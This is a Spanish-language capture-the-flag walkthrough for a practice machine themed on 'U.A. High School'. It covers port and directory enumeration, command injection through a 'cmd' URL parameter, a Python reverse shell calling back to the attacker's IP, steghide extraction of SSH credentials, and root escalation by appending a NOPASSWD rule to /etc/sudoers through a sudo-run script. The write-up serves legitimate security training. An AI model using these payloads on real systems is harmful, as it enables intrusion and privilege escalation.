sudo nmap -sC -sV 10.10.204.93
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
3072 58:12:f5:ec:12:3b:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
256 54:1f:20:5f:d:7c:f3:24:62:47:8a:fb:8a:b2:29:c2:bb (ECDSA)
256 62:16:f8:c9:60:0f:70:1f:6a:11:ab:a8:33:79:b5:5d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: U.A. High School)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
http://10.10.204.93:80
Figura 1: Portal Web
Si inspeccionamos el contenido de la web veremos que existe una carpeta assets
Figura 2: Identificación de la carpeta /assets
si accedemos a ella veremos una web en blaco: http://10.10.204.93/assets/
Figura 3: Acceso a http://10.10.204.93/assets/
gobuster dir -u http://10.0.2.6/assets -w /usr/share/seclists/Discovery/Web-Content/common.txt
Figura 4: Enumeración web con Gobuster
(La que nos interesa es la segunda URL)
Figura 5: Acceso a http://10.10.204.93/assets/index.php
En la primera URL no encontraremos nada, pero en cambio en la segunda URL veremos que está vacía, pero vamos a modificar la URL para intentar ejecutar comandos
http://10.10.204.93/assets/index.php?cmd=whoami
Figura 6: modificación URL para insertar un cmd
Obtendremos la respuesta en Base64, por lo tanto debemos decodificarla, para ello usaremos la terminal con el siguiente comando:
echo "d3d3LWRhdGEK" | base64 -d
www-data
(Esto nos da a entender que somos el usuario www-data)
Intentaremos establecer una revershell creandola con https://www.revshells.com/
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.2.107",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Figura 7: modificación URL para insertar una Reverse Shell
nc -lvnp 4444
Figura 8: Conexión de la Reverse Shell
Con la conexión establecida debemos dirigirnos a /var/www/Hidden_Content y allí encontraremos un archivo llamado passphrase.txt
cd /var/www/Hidden_Content
cat passphrase.txt
Figura 9: Acceso a la ruta: /var/www/Hidden_Content
Obtendremos una cadena en Base64, por lo tanto debemos decodificarla, para ello usaremos la terminal con el siguiente comando:
echo "QWxsbWlnaHRGb3JFdmVyISEhCg==" | base64 -d
AllmightForEver!!!
Ahora nos dirigimos a esta ruta: /var/www/html/assets/images
(En esta ruta veremos dos imágenes)
cd /var/www/html/assets/images
Figura 10: Acceso a la ruta: /var/www/html/assets/images
Exportamos las imágenes con el comando wget
wget http://10.10.204.93/assets/images/oneforall.jpg
wget http://10.10.204.93/assets/images/yuei.jpg
Figura 11: Descargamos la imágen oneforall.jpg
La foto oneforall.jpg está corrupta, así que debermos arreglarla usando la herramienta MagicBytes:
https://github.com/Haxrein/MagicBytes
git clone https://github.com/Haxrein/MagicBytes.git
cd /MagicBytes
python3 magicbytes.py -i oneforall.jpg -m jpg
Figura 12: Utiización de MagicBytes
Veremos que la imagen oneforall.jpg ahora es accesible
Figura 13: oneforall.jpg
Ahora podemos usar Steghide y encontrar una pista secreta en la imágen oneforall.jpg:
sudo apt update
sudo apt install steghide
steghide extract -sf oneforall.jpg
steghide extract -sf oneforall.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
Esto nos exporta un fichero creds.txt, el cual podremos visualizar sin problemas, este fichero contiene las credenciales de acceso SSH
Figura 14: creds.txt
Con las credenciales obtenidas anteriormente, procedemos a establecer una conexión SSH con la máquina objetivo
ssh deku@10.10.204.93
Figura 15: Acceso por SSH
Una vez establecida la conexión SSH podremos ver la user flag (user.txt)
cat user.txt
Figura 16: User Flag (user.txt)
Ejecutamos sudo -l y nos desplazamos al archivo feedback.sh en /opt ya que es donde tenemos privilegios
sudo -l
Figura 17: Privilegios sobre feedback.sh
cat /opt/NewComponent/feedback.sh
Figura 18: Contenido de feedback.sh
`, ), $(, |, &, ;, ?, !, \/var/log/feedback.txt.Usaremos este código para el feedback y así poder modificar el fichero /etc/sudoers:
sudo /opt/NewComponent/feedback.sh
deku ALL=NOPASSWD: ALL >> /etc/sudoers
Figura 19: Explotación de feedback.sh
Si probamos sudo -l con el usuario deku veremos que ahora si pertenecemos al grupo de root
sudo -l
Figura 20: El usuario deku quedará establecido como root
sudo su
Figura 21: El usuario deku podrá elevar sus privilegios a root
Una vez establecidos como root veremos que podremos acceder a la root flag (root.txt)
cd /root
cat root.txt
Figura 22: Root Flag (root.txt)